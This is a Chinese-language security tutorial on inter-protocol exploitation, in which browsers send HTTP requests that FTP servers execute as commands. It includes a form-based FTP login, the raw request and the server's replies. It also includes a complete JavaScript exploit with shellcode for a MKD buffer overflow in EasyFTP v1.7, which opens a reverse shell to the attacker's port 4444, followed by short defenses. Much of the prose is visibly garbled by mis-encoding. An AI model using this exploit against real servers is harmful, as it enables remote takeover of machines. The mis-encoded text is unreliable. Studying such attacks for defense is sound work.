跨協(xié)議通信技術(shù)利用及防御
什么是跨協(xié)議通信
跨協(xié)議通信技術(shù)(Inter-Protocol Communication)是指兩種不同的協(xié)議可以交換指令和數(shù)據(jù)的技術(shù)。其中一種稱為目標(biāo)協(xié)議,另外一種稱為載體協(xié)議。目標(biāo)協(xié)議就是我們最終想要通信的協(xié)議,而載體協(xié)議是用來(lái)封裝我們最后想要發(fā)送的指令和數(shù)據(jù)。
這種類型的通信想要完成有兩個(gè)必要條件:
1. 目標(biāo)協(xié)議必須容錯(cuò)性比較好.這是因?yàn)槲覀兪峭ㄟ^(guò)一個(gè)載體協(xié)議來(lái)傳輸指令的,這樣就很可能會(huì)摻雜一些目標(biāo)協(xié)議無(wú)法識(shí)別的指令。
2. 載體協(xié)議能夠封裝目標(biāo)協(xié)議的指令.即使目標(biāo)協(xié)議無(wú)法識(shí)別所有封裝過(guò)的指令,也必須能夠識(shí)別最終要的部分指令。
如何利用跨協(xié)議通信
跨協(xié)議漏洞利用(Inter-Protocol Expoitation)是通過(guò)一種協(xié)議去攻擊運(yùn)行另外一種協(xié)議的服務(wù)。
大家最關(guān)注的還是載體協(xié)議是HTTP的時(shí)候,因?yàn)檫@樣攻擊者就可以通過(guò)人人都有瀏覽器來(lái)發(fā)起攻擊了。這種類型的攻擊可以讓攻擊者訪問(wèn)到本來(lái)只有受害者才有權(quán)訪問(wèn)的資源和服務(wù)(比如內(nèi)網(wǎng)不對(duì)外開放的服務(wù))。這個(gè)過(guò)程中受害者充當(dāng)了一個(gè)傀儡的角色,接收并執(zhí)行了有風(fēng)險(xiǎn)的代碼.
一些用換行來(lái)作為命令分隔符的協(xié)議,比如SMTP,POP3,IRC和FTP都會(huì)受這種攻擊的影響.這是因?yàn)楫?dāng)目標(biāo)協(xié)議處理多行數(shù)據(jù)的時(shí)候是一行一行單獨(dú)處理的.而這些協(xié)議的容錯(cuò)性都比較好.這就使得這些協(xié)議忽略掉識(shí)別不了的行,只執(zhí)行可以識(shí)別的代碼.
為了更好的理解跨協(xié)議通信,我們來(lái)看一個(gè)簡(jiǎn)單的例子.
示例一:通過(guò)HTTP連接FTP服務(wù)器
通過(guò)瀏覽器連接ftp服務(wù)器非常簡(jiǎn)單,一個(gè)HTTP POST請(qǐng)求就可以了.下面是一個(gè)連接本機(jī)的FTP服務(wù)器的代碼.
- <form method='POST' action='http://localhost:21' enctype='multipart/form-data'>
- <input type='hidden' name='a' value='user secforce'>
- <input type='hidden' name='a' value='pass secforce'>
- <input type='submit'>
- </form>
假設(shè)這個(gè)FTP用戶密碼存在的話,提交這個(gè)表單就可以登錄到FTP服務(wù)器了.是不是很簡(jiǎn)單.
具體發(fā)送的POST請(qǐng)求數(shù)據(jù)包如下:
POST / HTTP/1.1 Host: 127.0.0.1:21 User-Agent: Mozilla/5.0 (X11; Debian; Linux x86_32; rv:16.0) Gecko/20110007 Firefox/20.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-gb,en;q=0.5 Accept-Encoding: gzip, deflate Proxy-Connection: keep-alive Content-Type: multipart/form-data; boundary=---------------------------63079936718166855021600323653 Content-Length: 304 -----------------------------63079936718166855021600323653 Content-Disposition: form-data; name="a" user secforce -----------------------------63079936718166855021600323653 Content-Disposition: form-data; name="a" pass secforce -----------------------------63079936718166855021600323653--
我們接收到返回?cái)?shù)據(jù)如下.所有的50X錯(cuò)誤對(duì)應(yīng)服務(wù)器無(wú)法識(shí)別的HTTP行.FTP服務(wù)器忽略了他們,執(zhí)行了它可以識(shí)別的命令.
220--------- Welcome to Pure-FTPd [privsep] [TLS] ---------- 220-Local time is now 12:41. Server port: 21. 220-This is a private system - No anonymous login 220 You will be disconnected after 15 minutes of inactivity. 530 You aren't logged in 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 500 ? 331 User secforce OK. Password required 500 ? 500 ? 500 ? 230 OK. Current directory is / 500 ?
自己測(cè)試的話你可能發(fā)現(xiàn)并不是所有的FTP命令都正常工作.像MKD/RMD和DEL工作正常,GET/PUT,RETR/STOR無(wú)法正常工作.這是因?yàn)镕TP是一種帶外(out-of-band)協(xié)議,它的數(shù)據(jù)和控制指令是通過(guò)不同的TCP端口傳送的.事實(shí)上,如果你嘗試用STOR命令上傳一個(gè)文件到服務(wù)器上,會(huì)發(fā)現(xiàn)在服務(wù)器上創(chuàng)建了一個(gè)同名的空文件.這是因?yàn)樵谖募_始傳輸數(shù)據(jù)之前先創(chuàng)建一個(gè)空文件,所有的命令都不需要一個(gè)單獨(dú)的數(shù)據(jù)連接就可以工作。
讓我們看一個(gè)更加有趣的例子。
示例2:通過(guò)HTTP溢出FTP服務(wù)器反彈shell
這個(gè)例子中我們使用EasyFTP v1.7,這個(gè)版本存在一個(gè)MKD命令的緩沖區(qū)溢出漏洞.需要注意的是這個(gè)命令不需要一個(gè)額外的數(shù)據(jù)連接通道就可以成功執(zhí)行.我們?cè)谔摂M機(jī)里搭建好服務(wù)器(192.168.1.10),創(chuàng)建"anonymous"用戶.因?yàn)槌晒眠@個(gè)漏洞的前提是先登錄到FTP服務(wù)器.
因?yàn)闆](méi)有必要重復(fù)造輪子,這里我們直接使用一個(gè)公開的漏洞利用代碼(參考資料[1]])來(lái)構(gòu)造POST請(qǐng)求.這次使用javascript來(lái)發(fā)送shellcode到FTP服務(wù)器.為了成功發(fā)送shellcode,我們使用了sendAsBinary函數(shù).
最后的函數(shù)如下:
function exploit(){ var url = 'http://192.168.1.10:21' var intro = 'USER anonymous\r\nPASS anonymous\r\n' var payload = 'MKD \x89\xe7\x81\xef\x10\xfe\xff\xff\xc7\x07\x13\x57\x7e\xd6\x81\xc7 \x14\xff\xff\xff\xff\xe7\x43\x43\x43\x43\x43\x43\x43\x43\x43\x43 \xba\xae\x16\xd0\x74\xd9\xcc\xd9\x74\x24\xf4\x5e\x29\xc9\xb1\x4f \x31\x56\x14\x83\xee\xfc\x03\x56\x10\x4c\xe3\x2c\x9c\x19\x0c\xcd \x5d\x79\x84\x28\x6c\xab\xf2\x39\xdd\x7b\x70\x6f\xee\xf0\xd4\x84 \x65\x74\xf1\xab\xce\x32\x27\x85\xcf\xf3\xe7\x49\x13\x92\x9b\x93 \x40\x74\xa5\x5b\x95\x75\xe2\x86\x56\x27\xbb\xcd\xc5\xd7\xc8\x90 \xd5\xd6\x1e\x9f\x66\xa0\x1b\x60\x12\x1a\x25\xb1\x8b\x11\x6d\x29 \xa7\x7d\x4e\x48\x64\x9e\xb2\x03\x01\x54\x40\x92\xc3\xa5\xa9\xa4 \x2b\x69\x94\x08\xa6\x70\xd0\xaf\x59\x07\x2a\xcc\xe4\x1f\xe9\xae \x32\xaa\xec\x09\xb0\x0c\xd5\xa8\x15\xca\x9e\xa7\xd2\x99\xf9\xab \xe5\x4e\x72\xd7\x6e\x71\x55\x51\x34\x55\x71\x39\xee\xf4\x20\xe7 \x41\x09\x32\x4f\x3d\xaf\x38\x62\x2a\xc9\x62\xeb\x9f\xe7\x9c\xeb \xb7\x70\xee\xd9\x18\x2a\x78\x52\xd0\xf4\x7f\x95\xcb\x40\xef\x68 \xf4\xb0\x39\xaf\xa0\xe0\x51\x06\xc9\x6b\xa2\xa7\x1c\x3b\xf2\x07 \xcf\xfb\xa2\xe7\xbf\x93\xa8\xe7\xe0\x83\xd2\x2d\x97\x84\x45\x62 \xb8\x1a\x92\x12\xbb\x1a\x8b\xbe\x32\xfc\xc1\x2e\xec\x41\x40\x00 \x3e\x23\x1f\x17\x95\xa3\xbc\x8a\x72\x33\xca\xb6\x2c\x64\x9b\x09 \x25\xe0\x31\x33\x9f\x16\xc8\xa5\xd8\x92\x17\x16\xe6\x1b\xd5\x22 \xcc\x0b\x23\xaa\x48\x7f\xfb\xfd\x06\x29\xbd\x57\xe9\x83\x17\x0b \xa3\x43\xe1\x67\x74\x15\xee\xad\x02\xf9\x5f\x18\x53\x06\x6f\xcc \x53\x7f\x8d\x6c\x9b\xaa\x15\x8c\x7e\x7e\x60\x25\x27\xeb\xc9\x28 \xd8\xc6\x0e\x55\x5b\xe2\xee\xa2\x43\x87\xeb\xef\xc3\x74\x86\x60 \xa6\x7a\x35\x80\xe3' var req = new XMLHttpRequest(); req.open('POST', url, true); req.setRequestHeader('Content-Type', 'text/plain'); req.setRequestHeader('Content-Length', '20'); req.sendAsBinary(intro + payload + '\r\n'); // neat way to send hexadecimal code through HTTP }
這里的payload選用了反彈shell到我們自己主機(jī)的端口4444.然后用nc監(jiān)聽.當(dāng)在瀏覽器中訪問(wèn)嵌入了上面js代碼的網(wǎng)頁(yè)時(shí).奇跡發(fā)生了.
如何防御攻擊
1. 屏蔽端口.默認(rèn)情況下,大部分瀏覽器會(huì)拒絕連接到一些著名的端口,比如21/FTP,25/SMTP等.這種保護(hù)方式可以通過(guò)修改瀏覽器配置或者使用非標(biāo)準(zhǔn)端口突破.
2. 更少的容錯(cuò)性.一些協(xié)議接受到無(wú)法識(shí)別的命令的時(shí)候會(huì)關(guān)閉連接.這樣子降低了靈活性但是增強(qiáng)了抵御跨協(xié)議攻擊的能力.更好一點(diǎn)的做法是連續(xù)接收到無(wú)法識(shí)別的命令后關(guān)閉連接.
結(jié)論
正如上面提到的,這種攻擊方式有很多限制.通常情況下,想要達(dá)到同樣的結(jié)果有很多比跨協(xié)議攻擊更好的方式.但是在特定的環(huán)境下,這種類型的攻擊是一種很有效的攻擊方式.